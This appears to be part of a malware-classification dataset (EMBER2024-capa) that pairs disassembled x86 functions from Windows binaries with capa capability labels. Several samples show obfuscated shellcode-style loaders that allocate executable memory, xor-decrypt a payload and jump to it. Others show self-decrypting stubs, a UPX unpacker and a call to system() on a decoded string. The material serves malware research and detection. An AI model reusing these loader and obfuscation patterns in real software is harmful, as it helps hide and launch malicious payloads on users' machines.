joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000900e
pop dword [ebp - 0xc]
mov eax, 0x1ec4ea8
add eax, 0xe144166
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x150b64ee
add dword [ebp - 0x1c], 0x3946e05d
mov dword [ebp - 0x18], 0xb098c86c
add dword [ebp - 0x18], 0x819a83d9
mov dword [ebp - 0x14], 0xd93bca9f
sub dword [ebp - 0x14], 0x8cef8671
mov dword [ebp - 0x10], 0x1d79ddc9
add dword [ebp - 0x10], 0xe2862237
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x53b4d749
sub eax, 0x43b43745
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xfc513e06
sub dword [ebp - 0x1c], 0x87ded4b0
mov dword [ebp - 0x18], 0x13679d8c
sub dword [ebp - 0x18], 0xd1fb3c17
mov dword [ebp - 0x14], 0x115262af
add dword [ebp - 0x14], 0x521d09bd
mov dword [ebp - 0x10], 0x3234c12e
sub dword [ebp - 0x10], 0x3234c12e
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36892
push 0
call eax
mov ecx, 0x4800
xor edi, edi
add edi, eax
mov esi, 0x79e2694
add esi, 0x862d16c
add esi, dword [ebp - 0xc]
mov ebx, 0x17a318cf
add ebx, 0xf3eb4fa3
sub dword [ebp - 4], 0xd53aec80
mov edx, dword [esi]
sub dword [ebp - 8], eax
xor edx, ebx
add dword [ebp - 4], 0x3bf1a0c0
mov dword [edi], edx
add dword [ebp - 4], 0xe039342b
add edi, 0x3a9e6035
add edi, 0xc5619fcf
add esi, 4
loop 0x10009127
add eax, 0xc4d12a07
add eax, 0x3b2fe8cc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x40d9a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419418]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408fab
mov dword [ebp - 0x14], eax
cmp dword [0x454f20], esi
jne 0x40da9b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40da28
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40db7b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40db7b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40db7b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x454f20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x454f24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x454f28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x454f30], eax
test eax, eax
je 0x40da98
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x454f2c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40dac0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40dab3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40dad5
push 4
pop eax
jmp 0x40db7d
cmp dword [ebp - 0x14], esi
je 0x40dad5
push dword [0x454f20]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40daba
mov eax, dword [0x454f2c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40db33
cmp dword [0x454f30], edi
je 0x40db33
push eax
call ebx
push dword [0x454f30]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40db33
test eax, eax
je 0x40db33
call ecx
test eax, eax
je 0x40db28
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40db28
test byte [ebp - 8], 1
jne 0x40db33
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40db63
mov eax, dword [0x454f24]
cmp eax, edi
je 0x40db60
push eax
call ebx
test eax, eax
je 0x40db60
call eax
mov esi, eax
test esi, esi
je 0x40db60
mov eax, dword [0x454f28]
cmp eax, edi
je 0x40db60
push eax
call ebx
test eax, eax
je 0x40db60
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x454f20]
call ebx
test eax, eax
je 0x40db7b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40db7d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404315
mov esp, ebp
pop ebp
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0xff39a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff39b2
pushal
call 0xff39b8
pop ebp
sub ebp, 0x10
sub ebp, 0xbf39a8
jmp 0xff39ce
mov eax, 0xbf39a8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ea
mov edx, 0xf0104c7b
xor byte [eax], dl
inc eax
dec ecx
jne 0xff39e5
jmp 0xff39f8
invalid
Function at 0x401050
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
xor edi, edi
nop dword [eax]
mov bl, byte [edi + 0x403058]
mov eax, 0xd41d41d5
mul edi
mov eax, edi
ror bl, 4
sub eax, edx
xor cl, cl
shr eax, 1
add eax, edx
mov edx, edi
shr eax, 5
imul eax, eax, 0x23
sub edx, eax
cmp edx, 0x22
ja case.default.0x401089
jmp dword [edx*4 + 0x4011cc]
mov cl, 0x6e
jmp case.default.0x401089
mov cl, 0x6f
jmp case.default.0x401089
mov cl, 0x5f
jmp case.default.0x401089
mov cl, 0x6d
jmp case.default.0x401089
mov cl, 0x69
jmp case.default.0x401089
mov cl, 0x72
jmp case.default.0x401089
mov cl, 0x65
jmp case.default.0x401089
mov cl, 0x73
jmp case.default.0x401089
mov cl, 0x6c
jmp case.default.0x401089
mov cl, 0x64
jmp case.default.0x401089
mov cl, 0x63
jmp case.default.0x401089
mov cl, 0x66
jmp case.default.0x401089
mov cl, 0x61
jmp case.default.0x401089
mov cl, 0x70
jmp case.default.0x401089
mov cl, 0x75
jmp case.default.0x401089
mov cl, 0x67
jmp case.default.0x401089
mov cl, 0x74
xor bl, cl
push 0x402118
mov byte [edi + 0x403058], bl
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push str.___________________________________________________________________________n
call fcn.00401010
add esp, 4
push str.o_____o_______________________________o___________o_____o_______________o__n
call fcn.00401010
add esp, 4
push str.8b___d8_______________________________8___________8b___d8__________________n
call fcn.00401010
add esp, 4
push str.8_b_d8_.oPYo._ooYoYo._.oPYo._odYo.__o8P_.oPYo.___8_b_d8_.oPYo._oPYo._o8__n
call fcn.00401010
add esp, 4
push str.8__o_8_8oooo8_8_8__8_8oooo8_8__8___8__8____8___8__o_8_8____8_8_____8__n
call fcn.00401010
add esp, 4
push str.8_____8_8._____8__8__8_8._____8___8___8__8____8___8_____8_8____8_8______8__n
call fcn.00401010
add esp, 4
push str.8_____8__Yooo_8__8__8__Yooo_8___8___8___YooP___8_____8__YooP_8______8__n
call fcn.00401010
add esp, 4
push str...::::..:.....:..:..:..:.....:..::..::..::.....:::..:..:....::::..:.....:._n
call fcn.00401010
add esp, 4
push str.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::_n
call fcn.00401010
add esp, 4
push str.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::_n
call fcn.00401010
add esp, 4
push str._nWait_a_moment__we_are_working..._n_n
call fcn.00401010
add esp, 4
xor esi, esi
test edi, edi
js 0x40119a
nop dword [eax]
movzx eax, byte [esi + 0x403058]
push eax
push 0x402410
call fcn.00401010
inc esi
add esp, 8
cmp esi, edi
jle 0x401180
movsd xmm0, qword [0x402418]
movd xmm1, edi
cvtdq2pd xmm1, xmm1
call sub.api_ms_win_crt_math_l1_1_0.dll__libm_sse2_pow_precise
call fcn.00401f00
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x28
jb 0x401060
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a6d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401aac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401aac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401aac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401aac
cmp dword [ecx + 0x74], 0xe
jbe 0x401aac
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4078cd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x1573d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x4078d7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x40791d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x4078fc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x40793c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00437510
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x4079cc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x407982
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x407998
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x4079bf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x407971
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8
Function at 0x434c5f
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
test ebx, ebx
jne 0x434c6d
mov eax, 0xffffff53
pop ebx
ret
mov eax, dword [ebx + 0x60]
push ebp
push esi
push edi
push 0x40
pop edi
lea ebp, [ebx + 0x20]
mov byte [eax + ebp], 0x80
inc dword [ebx + 0x60]
mov ecx, dword [ebx + 0x60]
push 0x38
pop esi
cmp ecx, esi
jbe 0x434cba
mov eax, edi
sub eax, ecx
push eax
lea eax, [ecx + ebp]
push 0
push eax
call fcn.00437a90
push edi
mov edx, ebp
mov dword [ebx + 0x60], edi
mov ecx, ebp
call fcn.004344a8
add esp, 0x10
mov edx, ebp
mov ecx, ebx
call fcn.00434546
test eax, eax
jne 0x434d16
and dword [ebx + 0x60], eax
mov eax, dword [ebx + 0x60]
sub esi, eax
push esi
add eax, ebp
push 0
push eax
call fcn.00437a90
lea edi, [ebx + 0x64]
mov edx, ebp
mov ecx, dword [edi]
lea esi, [ebx + 0x68]
mov eax, dword [esi]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, ebp
mov dword [esi], eax
mov eax, dword [edi]
shl eax, 3
mov dword [edi], eax
call fcn.004344a8
push 4
lea eax, [ebp + 0x38]
push esi
push eax
call fcn.00437510
push 4
lea eax, [ebp + 0x3c]
push edi
push eax
call fcn.00437510
add esp, 0x28
mov edx, ebp
mov ecx, ebx
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.00434546
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x434d1b
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0x434d52
test edi, edi
je 0x434d52
call fcn.00434c5f
test eax, eax
jne 0x434d57
push 0x20
mov edx, esi
mov ecx, esi
call fcn.004344a8
push 0x20
push esi
push edi
call fcn.00437510
add esp, 0x10
mov ecx, esi
pop edi
pop esi
jmp 0x4344d2
mov eax, 0xffffff53
pop edi
pop esi
ret

Function at 0x434e0a
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov eax, edx
mov ebp, ecx
neg eax
mov dword [esp + 8], eax
test ebp, ebp
je 0x434ea4
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x434ea4
mov edx, dword [ebp]
mov ecx, ebx
inc edx
call fcn.004304ed
mov dword [esp + 0xc], eax
test eax, eax
jne 0x434ea9
xor edx, edx
push esi
push edi
cmp dword [ebp], edx
jle 0x434e6a
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00434df4
mov ecx, ebx
mov esi, eax
call fcn.00434df4
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebp]
jl 0x434e44
jmp 0x434e8f
mov ecx, dword [esp + 0x10]
jmp 0x434e8f
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00434df4
mov ecx, ebx
mov esi, eax
call fcn.00434df4
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebx]
jl 0x434e70
mov eax, dword [ebp]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [esp + 0x14]
pop edi
pop esi
jmp 0x434ea9
mov eax, 0xffffff53
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x44cce6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044cb65

Function at 0x402c6f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x402c6f
lcall 0x5de5, 0x8b10c483
jmp fcn.009798e4
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x50c5f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
jmp 0x50c60a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50c611
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50c600
mov eax, 1
add ebx, ebx
jne 0x50c623
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50c618
jne 0x50c634
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50c618
xor ecx, ecx
sub eax, 3
jb 0x50c648
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50c6ba
mov ebp, eax
add ebx, ebx
jne 0x50c653
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50c660
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50c684
inc ecx
add ebx, ebx
jne 0x50c670
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50c665
jne 0x50c681
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50c665
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50c6a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50c695
jmp 0x50c606
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50c6a4
add edi, ecx
jmp 0x50c606
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50c703
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50c6c1
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50c6fd
mov dword [ebx], eax
add ebx, 4
jmp 0x50c6de
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50c737
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401c66
pop dword [ebp - 0x24]
mov eax, 0xfc1d67e1
add eax, 0x422b485
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc7a2088b
add dword [ebp - 0x34], 0x86b03cc0
mov dword [ebp - 0x30], 0xe3969e92
add dword [ebp - 0x30], 0x4e9cadb3
mov dword [ebp - 0x2c], 0xa39a6e9b
sub dword [ebp - 0x2c], 0x574e2a6d
mov dword [ebp - 0x28], 0x76023def
add dword [ebp - 0x28], 0x89fdc211
lea eax, [ebp - 0x34]
push eax
mov eax, 0xf71b91f6
sub eax, 0xf6db61a2
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xa5363d8
sub dword [ebp - 0x34], 0x95e0fa82
mov dword [ebp - 0x30], 0xeb68c9b4
sub dword [ebp - 0x30], 0xa9fc683f
mov dword [ebp - 0x2c], 0x58222020
sub dword [ebp - 0x2c], 0xf4b2b3b4
mov dword [ebp - 0x28], 0x3f4ea10f
sub dword [ebp - 0x28], 0x3f4ea10f
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xe959993d
add eax, 0x16e696ef
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36b9a
push 0
call eax
mov ecx, 0x971a187d
sub ecx, 0x9719cf83
mov ebx, eax
mov edx, 0x57cfdbb7
add edx, 0xa8709449
add edx, dword [ebp - 0x24]
mov edi, 0x26f01b1f
add edi, 0xc4c15f0a
add dword [ebp - 0x18], 0x8b468ea3
mov esi, dword [edx]
xor dword [ebp - 0x1c], edx
xor esi, edi
sub dword [ebp - 0x20], ecx
mov dword [ebx], esi
sub dword [ebp - 0x10], 0x17a8bae2
add ebx, 4
add edx, 0xedcefbf0
sub edx, 0xedcefbec
loop 0x401d88
add eax, 0xdcf5f4f3
add eax, 0x230b21c8
xor ebx, ebx
add ebx, eax
add eax, 0x603b1063
add eax, 0x9fc4efa2
mov ecx, 0x97cbb7
add ecx, 0xffa83449
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4015c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov eax, dword [esp + 0x60]
mov esi, dword [esp + 0x60]
mov eax, dword [eax + 0x3c]
mov eax, dword [eax + esi + 0xa0]
test eax, eax
je 0x401728
add eax, esi
mov dword [esp + 0x20], eax
mov eax, dword [eax + 4]
test eax, eax
je 0x401728
mov ecx, dword [esp + 0x70]
sub ecx, dword [esp + 0x6c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x60]
sub eax, 8
add edi, dword [ecx]
shr eax, 1
lea ebx, [ecx + 8]
mov dword [esp + 0x14], edi
je 0x401712
mov esi, dword [esp + 0x20]
lea eax, [esi + eax*2 + 8]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x60]
sub eax, dword [esp + 0x6c]
mov dword [esp + 0x28], eax
movzx eax, byte [ebx + 1]
shr al, 4
cmp al, 3
je 0x401730
cmp al, 0xa
jne 0x4016e9
movzx eax, word [ebx]
and eax, 0xfff
add eax, dword [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [eax]
cmp eax, dword [esp + 0x64]
mov dword [esp + 0x1c], eax
jae 0x4016e9
cmp eax, dword [esp + 0x68]
jb 0x4016e9
mov eax, 0x2e9edac7
mov dword [esp + 0x24], ebx
mov edi, 2
xor ebp, ebp
mov esi, 0x575
mov ebx, eax
jmp 0x401694
add edi, 1
mov eax, esi
adc ebp, 0
or eax, ebx
je 0x4016d7
mov dword [esp + 8], edi
mov dword [esp + 0xc], ebp
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.00404f90
or edx, eax
jne 0x401688
mov dword [esp + 8], edi
mov dword [esp + 0xc], ebp
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.00404e50
mov ecx, eax
xor ecx, 1
or ecx, edx
je 0x401750
mov esi, edx
mov ebx, eax
mov eax, esi
or eax, ebx
jne 0x401694
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x1c]
add ebp, dword [esp + 0x28]
mov eax, dword [esp + 0x18]
mov dword [eax], ebp
mov eax, 0x258
nop
sub eax, 1
mov dword [esp + 0x36], 0x2a2a2d2d
mov dword [esp + 0x3a], 0x2a2a2a
jne 0x4016f0
add ebx, 2
cmp ebx, dword [esp + 0x10]
jne 0x401632
mov eax, dword [esp + 0x20]
add eax, dword [eax + 4]
mov dword [esp + 0x20], eax
mov eax, dword [eax + 4]
test eax, eax
jne 0x4015fe
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
movzx eax, word [ebx]
and eax, 0xfff
add eax, dword [esp + 0x14]
cmp dword [esp + 0x68], eax
ja 0x4016e9
cmp dword [esp + 0x64], eax
jbe 0x4016e9
mov esi, dword [esp + 0x2c]
add dword [eax], esi
jmp 0x4016e9
mov eax, ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0x409080
call sub.msvcrt.dll_printf
movzx eax, word [ebx]
and eax, 0xfff
add eax, dword [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [eax]
mov dword [esp + 0x1c], eax
jmp 0x4016db
Function at 0x401a80
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebx
sub esp, 0x448
mov dword [esp], 0
call sub.OLE32.dll_CoInitialize
sub esp, 4
lea eax, [esp + 0x28]
mov dword [esp + 0xc], 0x409b8c
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x409d5c
mov dword [esp + 0x10], eax
call sub.OLE32.dll_CoCreateInstance
sub esp, 0x14
test eax, eax
mov ebx, eax
js 0x401c0e
mov eax, dword [esp + 0x450]
lea ebx, [esp + 0x30]
mov dword [esp + 0x14], 0x104
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp + 0x10], ebx
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.KERNEL32.dll_MultiByteToWideChar
sub esp, 0x18
mov eax, dword [esp + 0x28]
mov edx, dword [eax]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [edx + 0x50]
sub esp, 8
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x454]
mov edx, dword [eax]
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [edx + 0x24]
sub esp, 8
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x458]
mov edx, dword [eax]
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [edx + 0x1c]
sub esp, 8
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x45c]
mov edx, dword [eax]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp], eax
call dword [edx + 0x44]
sub esp, 0xc
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
mov edx, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x409790
mov dword [esp], eax
call dword [edx]
sub esp, 0xc
test eax, eax
mov ebx, eax
js 0x401bff
mov eax, dword [esp + 0x460]
lea ebx, [esp + 0x238]
mov dword [esp + 0x14], 0x104
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp + 0x10], ebx
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.KERNEL32.dll_MultiByteToWideChar
sub esp, 0x18
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
mov dword [esp + 4], ebx
mov dword [esp + 8], 1
mov dword [esp], eax
call dword [edx + 0x18]
sub esp, 0xc
mov ebx, eax
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
mov dword [esp], eax
call dword [edx + 8]
sub esp, 4
mov eax, dword [esp + 0x28]
mov edx, dword [eax]
mov dword [esp], eax
call dword [edx + 8]
sub esp, 4
call sub.OLE32.dll_CoUninitialize
add esp, 0x448
mov eax, ebx
pop ebx
ret

Function at 0x401d00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x14
mov ebx, dword [esp + 0x20]
mov eax, dword [ebx + 0x3c]
mov esi, dword [ebx + eax + 0x78]
mov eax, dword [esp + 0x24]
mov dword [esp + 8], ebx
add esi, ebx
mov dword [esp + 0xc], eax
mov eax, dword [esi + 0x18]
mov dword [esp + 4], eax
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [esp], eax
call fcn.00401c90
lea eax, [ebx + eax*2]
add eax, dword [esi + 0x24]
movzx eax, word [eax]
lea eax, [ebx + eax*4]
add eax, dword [esi + 0x1c]
